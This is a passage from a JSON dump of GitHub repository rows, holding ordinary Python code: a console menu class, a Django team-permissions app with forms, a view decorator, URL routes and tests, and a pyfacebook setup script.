116,\n \"num_lines\": 85,\n \"path\": \"/menu.py\",\n \"repo_name\": \"Barbiero/PythonMenu\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"'''\\nSimple menu system for python\\nusage:\\n\\nm = Menu([menu title])\\nm.addMenuOption(<option description>, [Function, [{arguments}]])\\n(add more options as you wish)\\nm.run()\\n\\nEach option can be associated to a Function.\\nIn case the Function isn't callable, chosing that option will close the Menu. and proceed with anything past m.run()\\n\\n\\n'''\\n\\nclass Menu:\\n __name = ''\\n maxlen = 0\\n __options = []\\n\\n def __init__(self, name='OPTIONS MENU'):\\n self.__name = name\\n self.maxlen = len(self.__name)+2\\n self.addMenuOption(\\\"Leave\\\")\\n\\n def getMenuSize(self):\\n return len(self.__options)\\n\\n def getOptionLen(self, index):\\n if(self.getMenuSize() > 9):\\n return len(self.__options[index][0])+6\\n\\n return len(self.__options[index][0])+5\\n \\n def addMenuOption(self, descr, func=None, args={}):\\n if(not isinstance(descr, str)):\\n raise ValueError('Menu description must be a string.')\\n\\n\\n T = (descr, (func, args))\\n \\n self.__options.append(T)\\n index = self.__options.index(T)\\n \\n if(self.maxlen < self.getOptionLen(index)):\\n self.maxlen = self.getOptionLen(index)\\n\\n def remMenuOption(self, index):\\n if(not isinstance(index, int)):\\n raise ValueError('Index must be an integer')\\n\\n if(self.getMenuSize() < index):\\n raise IndexError('Index out of range')\\n\\n if(self.maxlen == self.getOptionLen(index)):\\n self.maxlen = len(self.__name)+2\\n for i in range(len(self.__options)):\\n if i != index and self.maxlen < self.getOptionLen(i):\\n self.maxlen = self.getOptionLen(i)\\n\\n self.__options.pop(index)\\n\\n def __str__(self):\\n width = self.maxlen+2\\n STR = '{:*^{w}}\\\\n*{: ^{self.maxlen}}*\\\\n{:*^{w}}\\\\n'.format('',self.__name,'',self=self, w=width)\\n for i in range(self.getMenuSize()):\\n opt_str = '*{: <{self.maxlen}}*\\\\n'.format('%d - %s' % (i, self.__options[i][0]), self=self)\\n STR = STR + opt_str\\n\\n return STR + '{:*^{w}}'.format('', w=width)\\n\\n\\n def run(self, optmsg='Choose an option: '):\\n while True:\\n print(self)\\n opt = input(optmsg)\\n opt = int(opt)\\n if opt in range(0,self.getMenuSize()):\\n f = self.__options[opt][1][0]\\n if(not callable(f)):\\n break\\n arg = self.__options[opt][1][1]\\n f(*arg)\\n else:\\n break\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978388,"cells":{"repo_name":{"kind":"string","value":"hughed2/django_teams"},"repo_url":{"kind":"string","value":"https://github.com/hughed2/django_teams"},"snapshot_id":{"kind":"string","value":"df60e8b1f21a16825b0b1a54e74a6a153dfd549a"},"revision_id":{"kind":"string","value":"011a16feed52bbe78cc1e5586d1cccf937689a26"},"directory_id":{"kind":"string","value":"99c1cea26abbd9c3747a501283a5a25d843ee5be"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-26T02:38:59.905401","string":"2020-12-26T02:38:59.905401"},"revision_date":{"kind":"timestamp","value":"2015-04-29T05:53:30","string":"2015-04-29T05:53:30"},"committer_date":{"kind":"timestamp","value":"2015-04-29T05:53:30","string":"2015-04-29T05:53:30"},"github_id":{"kind":"number","value":34774300,"string":"34,774,300"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"timestamp","value":"2015-04-29T05:32:24","string":"2015-04-29T05:32:24"},"gha_updated_at":{"kind":"timestamp","value":"2014-12-23T16:03:42","string":"2014-12-23T16:03:42"},"gha_pushed_at":{"kind":"timestamp","value":"2014-12-23T16:03:42","string":"2014-12-23T16:03:42"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5974366664886475,"alphanum_fraction":0.6012234091758728,"avg_line_length":41.912498474121094,"blob_id":"c54f944ea6747342a0b03148c4bc3c7e51741432","content_id":"9e21b7ecb5a8f3b379b6f6cf1313d8233bbbd5f1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3433,"license_type":"no_license","max_line_length":128,"num_lines":80,"path":"/django_teams/forms.py","repo_name":"hughed2/django_teams","src_encoding":"UTF-8","text":"from django.forms import ModelForm, widgets\nfrom django import forms\nfrom django.utils.html import format_html\nfrom itertools import chain\nfrom django_teams.models import Team\nfrom django.utils.safestring import mark_safe\nfrom django.utils.encoding import force_text\n\nclass TeamCreateForm(ModelForm):\n class Meta:\n model = Team\n\nclass TeamEditForm(ModelForm):\n \"\"\"This form is very complicated;\n it consists of a hash containing :\n An array of pending requests\n An array of team leaders\n An array of team members\n The form should allow the team leaders to perform the following\n actions on any number of elements from each array, at the same time:\n Pending requests;\n approve\n deny\n Team Leaders\n Demote\n Remove\n Team Members\n Promote\n Remove\n \"\"\"\n\n class Meta:\n model = Team\n \nclass LinkedCheckboxSelectMultiple (widgets.CheckboxSelectMultiple):\n def render(self, name, value, attrs=None, choices=()):\n if value is None: value = []\n has_id = attrs and 'id' in attrs\n final_attrs = self.build_attrs(attrs, name=name)\n output = ['<ul>']\n # Normalize to strings\n str_values = set([force_text(v) for v in value])\n for i, (option_value, option_label) in enumerate(chain(self.choices, choices)):\n # If an ID attribute was given, add a numeric index as a suffix,\n # so that the checkboxes don't all have the same ID attribute.\n if has_id:\n final_attrs = dict(final_attrs, id='%s_%s' % (attrs['id'], i))\n label_for = format_html(' for=\"{0}\"', final_attrs['id'])\n else:\n label_for = ''\n\n cb = widgets.CheckboxInput(final_attrs, check_test=lambda value: value in str_values)\n option_value = force_text(option_value)\n rendered_cb = cb.render(name, option_value)\n text = option_label.split('/',3)\n if len(text) == 4 : # If we got a proper split\n obj_model = text[0]\n obj_id = text[1]\n option_label = force_text(text[3] + \" by \" + text[2]) # Project Name by Student\n output.append(format_html('<li><label{0}>{1} <a href=\"/' + obj_model + 's/' + obj_id + '/\">{2}</a></label></li>',\n label_for, rendered_cb, option_label))\n else: # Default to normal behavior without proper split\n option_label = force_text(option_label)\n output.append(format_html('<li><label{0}>{1} {2}</label></li>',\n label_for, rendered_cb, option_label))\n output.append('</ul>')\n return mark_safe('\\n'.join(output))\n\ndef action_formset(qset, actions, link=False):\n \"\"\"A form factory which returns a form which allows the user to pick a specific action to\n perform on a chosen subset of items from a queryset.\n \"\"\"\n class _ActionForm(forms.Form):\n if(link):\n items = forms.ModelMultipleChoiceField(queryset = qset, required=False, widget=LinkedCheckboxSelectMultiple)\n else: \n items = forms.ModelMultipleChoiceField(queryset = qset, required=False, widget=widgets.CheckboxSelectMultiple)\n action = forms.ChoiceField(choices = zip(actions, actions), required=False)\n\n return _ActionForm\n"},{"alpha_fraction":0.7055837512016296,"alphanum_fraction":0.7055837512016296,"avg_line_length":24.69565200805664,"blob_id":"8d7395e0aaf76e9d28d03986a7e8a1fa1eb0d90d","content_id":"d250d633916c505aa9d25ed63802436ad67fa273","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":591,"license_type":"no_license","max_line_length":53,"num_lines":23,"path":"/django_teams/tests/test_decorators.py","repo_name":"hughed2/django_teams","src_encoding":"UTF-8","text":"from time import sleep\nimport sys\nfrom django.test import TestCase\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.test.client import RequestFactory\n\nfrom django_teams.decorators import teamify\n\nclass DecoratorTests(TestCase):\n fixtures = ['test_data.json']\n\n def setUp(self):\n self.factory = RequestFactory()\n\n def test_can_import_without_errors(self):\n # If we can get this far, we passed this test\n pass\n\n def test_view(self):\n def view(request):\n pass\n teamify(view)\n"},{"alpha_fraction":0.6666666865348816,"alphanum_fraction":0.6666666865348816,"avg_line_length":39.13793182373047,"blob_id":"746fdd7bd3b51e8a00fe485ef44c92a39d1be853","content_id":"5a7edf3f3c6e6b69fb575a4ce932eda87a79083e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1164,"license_type":"no_license","max_line_length":118,"num_lines":29,"path":"/django_teams/urls.py","repo_name":"hughed2/django_teams","src_encoding":"UTF-8","text":"from django.conf.urls import patterns, include, url\nfrom django.views.generic import TemplateView\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nfrom django_teams.views import *\n\nurlpatterns = patterns('',\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n url(r'^admin/', include(admin.site.urls)),\n\n # TemplateView + Login\n #url(r'^$', login_required(TemplateView.as_view(template_name=\"home.html\")), {}, 'home'),\n url(r'^teams/$', TeamListView.as_view(), name='team-list'),\n url(r'^teams/create$', login_required(TeamCreateView.as_view()), name='team-create'),\n url(r'^teams/(?P<team_pk>\\d+)/invite$', login_required(TeamStatusCreateView.as_view()), name='teamstatus-create'),\n url(r'^teams/(?P<pk>\\d+)/$', TeamDetailView.as_view(), name='team-detail'),\n url(r'^teams/(?P<pk>\\d+)/edit$', TeamEditView.as_view(), name='team-edit'),\n)\n\nif settings.DEBUG:\n urlpatterns += patterns('',\n url(r'^media/(?P<path>.*)$', 'django.views.static.serve', {\n 'document_root': settings.MEDIA_ROOT,\n }),\n )\n"},{"alpha_fraction":0.647219181060791,"alphanum_fraction":0.6594874858856201,"avg_line_length":32.65137481689453,"blob_id":"0f31bbaca3be6b4b89ae20c52cd18d0716515190","content_id":"b567b7a0e78dbcace829640a66be1cb578157fa4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3668,"license_type":"no_license","max_line_length":98,"num_lines":109,"path":"/django_teams/tests/test_override.py","repo_name":"hughed2/django_teams","src_encoding":"UTF-8","text":"from time import sleep\nimport sys\nfrom django.test import TestCase\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom django_teams.models import override_manager, revert_manager, Team, TeamStatus, Ownership\nfrom django.contrib.sites.models import Site\n\nclass OwnershipTests(TestCase):\n fixtures = ['test_data.json']\n\n def tearDown(self):\n revert_manager(Site)\n\n def test_overriding_queryset_no_errors(self):\n import django_teams.models\n django_teams.models.CurrentUser = None\n django_teams.models.CurrentTeam = None\n override_manager(User)\n User.objects.all()\n\n # If there are no errors, we should be good.. Revert\n revert_manager(User)\n\n def test_can_override_sites(self):\n \"\"\"\n Attempts to override the sites framework so that we can only query sites we own\n - This is only a proof-of-concept test, as I don't want to include another app for testing\n \"\"\"\n # Set the current User\n import django_teams.models\n django_teams.models.CurrentUser = User.objects.get(pk=1)\n\n self.assertEqual(Site.objects.all().count(), 3)\n override_manager(Site)\n\n self.assertEqual(Site.objects.all().count(), 0)\n\n def test_can_gain_access(self):\n import django_teams.models\n django_teams.models.CurrentUser = User.objects.get(pk=1)\n\n self.assertEqual(Site.objects.all().count(), 3)\n site = Site.objects.get(pk=1)\n override_manager(Site)\n\n # Try granting the user access to one site\n team = Team(name=\"Team awesome\")\n team.save()\n\n team.add_user(django_teams.models.CurrentUser, team_role=20)\n\n Ownership.grant_ownership(team, site)\n\n self.assertEqual(Site.objects.all().count(), 1)\n\n def test_default_team_hides_objects(self):\n import django_teams.models\n django_teams.models.CurrentUser = User.objects.get(pk=1)\n\n Team.objects.all().delete()\n Ownership.objects.all().delete()\n TeamStatus.objects.all().delete()\n\n team1 = Team(name=\"Team Mtn Dew\")\n team1.save()\n team1.add_user(django_teams.models.CurrentUser, team_role=20)\n team2 = Team(name=\"Team ROFLCAT\")\n team2.save()\n team2.add_user(django_teams.models.CurrentUser, team_role=20)\n\n site1 = Site.objects.get(pk=2)\n Ownership.grant_ownership(team1, site1)\n site2 = Site.objects.get(pk=3)\n Ownership.grant_ownership(team2, site2)\n\n django_teams.models.CurrentTeam = team2\n\n override_manager(Site)\n\n site_test = Site.objects.get(pk=3)\n self.assertEqual(site_test, site2)\n\n self.assertEqual(Site.objects.all().count(), 1)\n self.assertEqual(Site.objects.all()[0].id, 3)\n self.assertEqual(Site.objects.all()[0], site2)\n\n django_teams.models.CurrentUser = None\n django_teams.models.CurrentTeam = None\n\n def test_removing_non_restricted_doesnt_crash_things(self):\n revert_manager(Team)\n\n def test_restricted_related_managers(self):\n # If we override the user, we should have no access to any groups\n import django_teams.models\n django_teams.models.CurrentUser = User.objects.get(pk=1)\n\n team1 = Team(name=\"Team Mtn Dew\")\n team1.save()\n team1.add_user(django_teams.models.CurrentUser, team_role=20)\n\n Ownership.grant_ownership(team1, django_teams.models.CurrentUser)\n\n override_manager(User)\n\n self.assertEqual(User.objects.all().count(), 1)\n self.assertEqual(django_teams.models.CurrentUser.groups.all().count(), 0)\n"},{"alpha_fraction":0.6370245814323425,"alphanum_fraction":0.6370245814323425,"avg_line_length":38.733333587646484,"blob_id":"0219438de426974c5931f05eb55ffdb2b58b7e7f","content_id":"1d88880f3306ec2c2bd7fbbf4e241e206cec0c58","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1788,"license_type":"no_license","max_line_length":101,"num_lines":45,"path":"/django_teams/decorators.py","repo_name":"hughed2/django_teams","src_encoding":"UTF-8","text":"from functools import wraps\nfrom django_teams.models import override_manager, revert_manager\nimport django_teams.models\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.utils.decorators import available_attrs\nfrom django.db import models\nfrom django_teams.utils import get_related_managers\n\nimport sys\nimport inspect\n\ndef teamify(view_func):\n @wraps(view_func, assigned=available_attrs(view_func))\n def wrapper(request, *args, **kwargs):\n # Set the current user\n django_teams.models.CurrentUser = request.user\n # Set the current team, as per settings instructions\n def get_team(user, **kwargs):\n if 'django_team_pk' in kwargs:\n return Team.objects.get(pk=kwargs['django_team_pk'])\n return None\n\n django_teams.models.CurrentTeam = get_team(django_teams.models.CurrentUser, **kwargs)\n\n # Setup the filters\n # Ignore apps/models specified in settings\n ignore_apps = ['django_teams', 'contenttypes']\n ignore_models = []\n for model in models.get_models(include_auto_created=True):\n m = ContentType.objects.get_for_model(model)\n if m.app_label not in ignore_apps and (m.app_label + '_' + m.model) not in ignore_models:\n override_manager(model)\n # Override related managers\n for manager in get_related_managers(model):\n sys.stdout.write(repr(manager)+\"\\n\")\n sys.stdout.flush()\n override_manager(manager)\n\n try:\n ret = view_func(request, *args, **kwargs)\n finally:\n for model in models.get_models(include_auto_created=True):\n revert_manager(model)\n return ret\n return wrapper\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5974366664886475,\n \"alphanum_fraction\": 0.6012234091758728,\n \"avg_line_length\": 41.912498474121094,\n \"blob_id\": \"c54f944ea6747342a0b03148c4bc3c7e51741432\",\n \"content_id\": \"9e21b7ecb5a8f3b379b6f6cf1313d8233bbbd5f1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3433,\n \"license_type\": \"no_license\",\n \"max_line_length\": 128,\n \"num_lines\": 80,\n \"path\": \"/django_teams/forms.py\",\n \"repo_name\": \"hughed2/django_teams\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.forms import ModelForm, widgets\\nfrom django import forms\\nfrom django.utils.html import format_html\\nfrom itertools import chain\\nfrom django_teams.models import Team\\nfrom django.utils.safestring import mark_safe\\nfrom django.utils.encoding import force_text\\n\\nclass TeamCreateForm(ModelForm):\\n class Meta:\\n model = Team\\n\\nclass TeamEditForm(ModelForm):\\n \\\"\\\"\\\"This form is very complicated;\\n it consists of a hash containing :\\n An array of pending requests\\n An array of team leaders\\n An array of team members\\n The form should allow the team leaders to perform the following\\n actions on any number of elements from each array, at the same time:\\n Pending requests;\\n approve\\n deny\\n Team Leaders\\n Demote\\n Remove\\n Team Members\\n Promote\\n Remove\\n \\\"\\\"\\\"\\n\\n class Meta:\\n model = Team\\n \\nclass LinkedCheckboxSelectMultiple (widgets.CheckboxSelectMultiple):\\n def render(self, name, value, attrs=None, choices=()):\\n if value is None: value = []\\n has_id = attrs and 'id' in attrs\\n final_attrs = self.build_attrs(attrs, name=name)\\n output = ['<ul>']\\n # Normalize to strings\\n str_values = set([force_text(v) for v in value])\\n for i, (option_value, option_label) in enumerate(chain(self.choices, choices)):\\n # If an ID attribute was given, add a numeric index as a suffix,\\n # so that the checkboxes don't all have the same ID attribute.\\n if has_id:\\n final_attrs = dict(final_attrs, id='%s_%s' % (attrs['id'], i))\\n label_for = format_html(' for=\\\"{0}\\\"', final_attrs['id'])\\n else:\\n label_for = ''\\n\\n cb = widgets.CheckboxInput(final_attrs, check_test=lambda value: value in str_values)\\n option_value = force_text(option_value)\\n rendered_cb = cb.render(name, option_value)\\n text = option_label.split('/',3)\\n if len(text) == 4 : # If we got a proper split\\n obj_model = text[0]\\n obj_id = text[1]\\n option_label = force_text(text[3] + \\\" by \\\" + text[2]) # Project Name by Student\\n output.append(format_html('<li><label{0}>{1} <a href=\\\"/' + obj_model + 's/' + obj_id + '/\\\">{2}</a></label></li>',\\n label_for, rendered_cb, option_label))\\n else: # Default to normal behavior without proper split\\n option_label = force_text(option_label)\\n output.append(format_html('<li><label{0}>{1} {2}</label></li>',\\n label_for, rendered_cb, option_label))\\n output.append('</ul>')\\n return mark_safe('\\\\n'.join(output))\\n\\ndef action_formset(qset, actions, link=False):\\n \\\"\\\"\\\"A form factory which returns a form which allows the user to pick a specific action to\\n perform on a chosen subset of items from a queryset.\\n \\\"\\\"\\\"\\n class _ActionForm(forms.Form):\\n if(link):\\n items = forms.ModelMultipleChoiceField(queryset = qset, required=False, widget=LinkedCheckboxSelectMultiple)\\n else: \\n items = forms.ModelMultipleChoiceField(queryset = qset, required=False, widget=widgets.CheckboxSelectMultiple)\\n action = forms.ChoiceField(choices = zip(actions, actions), required=False)\\n\\n return _ActionForm\\n\"\n },\n {\n \"alpha_fraction\": 0.7055837512016296,\n \"alphanum_fraction\": 0.7055837512016296,\n \"avg_line_length\": 24.69565200805664,\n \"blob_id\": \"8d7395e0aaf76e9d28d03986a7e8a1fa1eb0d90d\",\n \"content_id\": \"d250d633916c505aa9d25ed63802436ad67fa273\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 591,\n \"license_type\": \"no_license\",\n \"max_line_length\": 53,\n \"num_lines\": 23,\n \"path\": \"/django_teams/tests/test_decorators.py\",\n \"repo_name\": \"hughed2/django_teams\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from time import sleep\\nimport sys\\nfrom django.test import TestCase\\nfrom django.contrib.auth.models import User\\nfrom django.core.exceptions import ObjectDoesNotExist\\nfrom django.test.client import RequestFactory\\n\\nfrom django_teams.decorators import teamify\\n\\nclass DecoratorTests(TestCase):\\n fixtures = ['test_data.json']\\n\\n def setUp(self):\\n self.factory = RequestFactory()\\n\\n def test_can_import_without_errors(self):\\n # If we can get this far, we passed this test\\n pass\\n\\n def test_view(self):\\n def view(request):\\n pass\\n teamify(view)\\n\"\n },\n {\n \"alpha_fraction\": 0.6666666865348816,\n \"alphanum_fraction\": 0.6666666865348816,\n \"avg_line_length\": 39.13793182373047,\n \"blob_id\": \"746fdd7bd3b51e8a00fe485ef44c92a39d1be853\",\n \"content_id\": \"5a7edf3f3c6e6b69fb575a4ce932eda87a79083e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1164,\n \"license_type\": \"no_license\",\n \"max_line_length\": 118,\n \"num_lines\": 29,\n \"path\": \"/django_teams/urls.py\",\n \"repo_name\": \"hughed2/django_teams\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.conf.urls import patterns, include, url\\nfrom django.views.generic import TemplateView\\nfrom django.contrib.auth.decorators import login_required\\nfrom django.conf import settings\\n\\nfrom django.contrib import admin\\nadmin.autodiscover()\\n\\nfrom django_teams.views import *\\n\\nurlpatterns = patterns('',\\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\\n url(r'^admin/', include(admin.site.urls)),\\n\\n # TemplateView + Login\\n #url(r'^$', login_required(TemplateView.as_view(template_name=\\\"home.html\\\")), {}, 'home'),\\n url(r'^teams/$', TeamListView.as_view(), name='team-list'),\\n url(r'^teams/create$', login_required(TeamCreateView.as_view()), name='team-create'),\\n url(r'^teams/(?P<team_pk>\\\\d+)/invite$', login_required(TeamStatusCreateView.as_view()), name='teamstatus-create'),\\n url(r'^teams/(?P<pk>\\\\d+)/$', TeamDetailView.as_view(), name='team-detail'),\\n url(r'^teams/(?P<pk>\\\\d+)/edit$', TeamEditView.as_view(), name='team-edit'),\\n)\\n\\nif settings.DEBUG:\\n urlpatterns += patterns('',\\n url(r'^media/(?P<path>.*)$', 'django.views.static.serve', {\\n 'document_root': settings.MEDIA_ROOT,\\n }),\\n )\\n\"\n },\n {\n \"alpha_fraction\": 0.647219181060791,\n \"alphanum_fraction\": 0.6594874858856201,\n \"avg_line_length\": 32.65137481689453,\n \"blob_id\": \"0f31bbaca3be6b4b89ae20c52cd18d0716515190\",\n \"content_id\": \"b567b7a0e78dbcace829640a66be1cb578157fa4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3668,\n \"license_type\": \"no_license\",\n \"max_line_length\": 98,\n \"num_lines\": 109,\n \"path\": \"/django_teams/tests/test_override.py\",\n \"repo_name\": \"hughed2/django_teams\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from time import sleep\\nimport sys\\nfrom django.test import TestCase\\nfrom django.contrib.auth.models import User\\nfrom django.core.exceptions import ObjectDoesNotExist\\n\\nfrom django_teams.models import override_manager, revert_manager, Team, TeamStatus, Ownership\\nfrom django.contrib.sites.models import Site\\n\\nclass OwnershipTests(TestCase):\\n fixtures = ['test_data.json']\\n\\n def tearDown(self):\\n revert_manager(Site)\\n\\n def test_overriding_queryset_no_errors(self):\\n import django_teams.models\\n django_teams.models.CurrentUser = None\\n django_teams.models.CurrentTeam = None\\n override_manager(User)\\n User.objects.all()\\n\\n # If there are no errors, we should be good.. Revert\\n revert_manager(User)\\n\\n def test_can_override_sites(self):\\n \\\"\\\"\\\"\\n Attempts to override the sites framework so that we can only query sites we own\\n - This is only a proof-of-concept test, as I don't want to include another app for testing\\n \\\"\\\"\\\"\\n # Set the current User\\n import django_teams.models\\n django_teams.models.CurrentUser = User.objects.get(pk=1)\\n\\n self.assertEqual(Site.objects.all().count(), 3)\\n override_manager(Site)\\n\\n self.assertEqual(Site.objects.all().count(), 0)\\n\\n def test_can_gain_access(self):\\n import django_teams.models\\n django_teams.models.CurrentUser = User.objects.get(pk=1)\\n\\n self.assertEqual(Site.objects.all().count(), 3)\\n site = Site.objects.get(pk=1)\\n override_manager(Site)\\n\\n # Try granting the user access to one site\\n team = Team(name=\\\"Team awesome\\\")\\n team.save()\\n\\n team.add_user(django_teams.models.CurrentUser, team_role=20)\\n\\n Ownership.grant_ownership(team, site)\\n\\n self.assertEqual(Site.objects.all().count(), 1)\\n\\n def test_default_team_hides_objects(self):\\n import django_teams.models\\n django_teams.models.CurrentUser = User.objects.get(pk=1)\\n\\n Team.objects.all().delete()\\n Ownership.objects.all().delete()\\n TeamStatus.objects.all().delete()\\n\\n team1 = Team(name=\\\"Team Mtn Dew\\\")\\n team1.save()\\n team1.add_user(django_teams.models.CurrentUser, team_role=20)\\n team2 = Team(name=\\\"Team ROFLCAT\\\")\\n team2.save()\\n team2.add_user(django_teams.models.CurrentUser, team_role=20)\\n\\n site1 = Site.objects.get(pk=2)\\n Ownership.grant_ownership(team1, site1)\\n site2 = Site.objects.get(pk=3)\\n Ownership.grant_ownership(team2, site2)\\n\\n django_teams.models.CurrentTeam = team2\\n\\n override_manager(Site)\\n\\n site_test = Site.objects.get(pk=3)\\n self.assertEqual(site_test, site2)\\n\\n self.assertEqual(Site.objects.all().count(), 1)\\n self.assertEqual(Site.objects.all()[0].id, 3)\\n self.assertEqual(Site.objects.all()[0], site2)\\n\\n django_teams.models.CurrentUser = None\\n django_teams.models.CurrentTeam = None\\n\\n def test_removing_non_restricted_doesnt_crash_things(self):\\n revert_manager(Team)\\n\\n def test_restricted_related_managers(self):\\n # If we override the user, we should have no access to any groups\\n import django_teams.models\\n django_teams.models.CurrentUser = User.objects.get(pk=1)\\n\\n team1 = Team(name=\\\"Team Mtn Dew\\\")\\n team1.save()\\n team1.add_user(django_teams.models.CurrentUser, team_role=20)\\n\\n Ownership.grant_ownership(team1, django_teams.models.CurrentUser)\\n\\n override_manager(User)\\n\\n self.assertEqual(User.objects.all().count(), 1)\\n self.assertEqual(django_teams.models.CurrentUser.groups.all().count(), 0)\\n\"\n },\n {\n \"alpha_fraction\": 0.6370245814323425,\n \"alphanum_fraction\": 0.6370245814323425,\n \"avg_line_length\": 38.733333587646484,\n \"blob_id\": \"0219438de426974c5931f05eb55ffdb2b58b7e7f\",\n \"content_id\": \"1d88880f3306ec2c2bd7fbbf4e241e206cec0c58\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1788,\n \"license_type\": \"no_license\",\n \"max_line_length\": 101,\n \"num_lines\": 45,\n \"path\": \"/django_teams/decorators.py\",\n \"repo_name\": \"hughed2/django_teams\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from functools import wraps\\nfrom django_teams.models import override_manager, revert_manager\\nimport django_teams.models\\nfrom django.contrib.contenttypes.models import ContentType\\nfrom django.utils.decorators import available_attrs\\nfrom django.db import models\\nfrom django_teams.utils import get_related_managers\\n\\nimport sys\\nimport inspect\\n\\ndef teamify(view_func):\\n @wraps(view_func, assigned=available_attrs(view_func))\\n def wrapper(request, *args, **kwargs):\\n # Set the current user\\n django_teams.models.CurrentUser = request.user\\n # Set the current team, as per settings instructions\\n def get_team(user, **kwargs):\\n if 'django_team_pk' in kwargs:\\n return Team.objects.get(pk=kwargs['django_team_pk'])\\n return None\\n\\n django_teams.models.CurrentTeam = get_team(django_teams.models.CurrentUser, **kwargs)\\n\\n # Setup the filters\\n # Ignore apps/models specified in settings\\n ignore_apps = ['django_teams', 'contenttypes']\\n ignore_models = []\\n for model in models.get_models(include_auto_created=True):\\n m = ContentType.objects.get_for_model(model)\\n if m.app_label not in ignore_apps and (m.app_label + '_' + m.model) not in ignore_models:\\n override_manager(model)\\n # Override related managers\\n for manager in get_related_managers(model):\\n sys.stdout.write(repr(manager)+\\\"\\\\n\\\")\\n sys.stdout.flush()\\n override_manager(manager)\\n\\n try:\\n ret = view_func(request, *args, **kwargs)\\n finally:\\n for model in models.get_models(include_auto_created=True):\\n revert_manager(model)\\n return ret\\n return wrapper\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":5,"string":"5"}}},{"rowIdx":2978389,"cells":{"repo_name":{"kind":"string","value":"alanzoppa/pyfacebook"},"repo_url":{"kind":"string","value":"https://github.com/alanzoppa/pyfacebook"},"snapshot_id":{"kind":"string","value":"44a23a16d830bafacda3d3b32e38568bfa362d44"},"revision_id":{"kind":"string","value":"87a8fcc659a07fec10c16fa80fb460d722212f95"},"directory_id":{"kind":"string","value":"d767de7e981f7ede8b290857205fbc2576e4a663"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-16T20:43:55.981968","string":"2021-01-16T20:43:55.981968"},"revision_date":{"kind":"timestamp","value":"2010-09-08T17:00:51","string":"2010-09-08T17:00:51"},"committer_date":{"kind":"timestamp","value":"2010-09-08T17:00:51","string":"2010-09-08T17:00:51"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6495956778526306,"alphanum_fraction":0.6549865007400513,"avg_line_length":29.91666603088379,"blob_id":"16efae70d5cbf8ed36d64cd10a4df94079305d56","content_id":"c4bc44af8ec904b489880a9555f250486721627a","detected_licenses":["LicenseRef-scancode-warranty-disclaimer"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":371,"license_type":"no_license","max_line_length":63,"num_lines":12,"path":"/setup.py","repo_name":"alanzoppa/pyfacebook","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n\nfrom distutils.core import setup\n\nsetup(name='pyfacebook',\n version='0.1',\n description='Python Client Library for the Facebook API',\n author='Samuel Cormier-Iijima',\n author_email='sciyoshi@gmail.com',\n url='http://github.com/alanzoppa/pyfacebook',\n packages=['pyfacebook', 'pyfacebook.djangofb',\n 'pyfacebook.djangofb.default_app'])\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6495956778526306,\n \"alphanum_fraction\": 0.6549865007400513,\n \"avg_line_length\": 29.91666603088379,\n \"blob_id\": \"16efae70d5cbf8ed36d64cd10a4df94079305d56\",\n \"content_id\": \"c4bc44af8ec904b489880a9555f250486721627a\",\n \"detected_licenses\": [\n \"LicenseRef-scancode-warranty-disclaimer\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 371,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 12,\n \"path\": \"/setup.py\",\n \"repo_name\": \"alanzoppa/pyfacebook\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n\\nfrom distutils.core import setup\\n\\nsetup(name='pyfacebook',\\n version='0.1',\\n description='Python Client Library for the Facebook API',\\n author='Samuel Cormier-Iijima',\\n author_email='sciyoshi@gmail.com',\\n url='http://github.com/alanzoppa/pyfacebook',\\n 